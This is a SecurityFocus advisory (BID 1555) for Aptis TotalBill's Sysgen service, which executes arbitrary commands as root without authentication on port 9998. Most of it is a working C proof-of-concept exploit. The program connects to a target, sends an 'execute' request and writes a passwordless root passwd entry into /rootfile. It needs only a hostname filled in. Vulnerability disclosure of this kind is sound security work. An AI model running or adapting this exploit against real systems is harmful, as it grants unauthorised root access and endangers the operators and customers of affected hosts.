source: http://www.securityfocus.com/bid/1555/info

Aptis Software offers a billing / provisioning solution for ISPs called TotalBill. One component of the TotalBill package is a network service called Sysgen that listens on or around port 9998. It allows a client connectiing to it to execute any command on the host it is running on (with whatever uid the service runs as, typically root) without any authentication. If this service is not filtered, anonymous attackers can easily gain root access on the target host by remotely exploiting this naive service. Other components of TotalBill may be vulnerable also (noteably cc_queue to a buffer overflow attack) but none are confirmed.


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT		9998
#define TOTALBILL_SERVER	""	/* Insert hostname here */

int main (void) 
{
  struct sockaddr_in servaddr;
  char *tempstr, buf[8192];
  struct hostent *host;
  int sockfd;
   
  if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
    {
      fprintf (stderr, "Error: Could not create a socket: %s\n", 
               strerror (errno));
      return (1);
    }
  memset (&servaddr, 0, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (TOTALBILL_PORT);

  if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL) 
    {
      fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
      return (1);
    }

  memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) 
    {
      fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER, 
               strerror (errno));
      return (1);
    }
  tempstr = "123456  execute  execute  execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
  printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
  if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0) 
    {
      fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Sent...waiting for response...\n");
  if (read (sockfd, buf, sizeof (buf)) < 0) 
    {
      fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Received %s from server\n", buf);
  close (sockfd);
  return (0);
}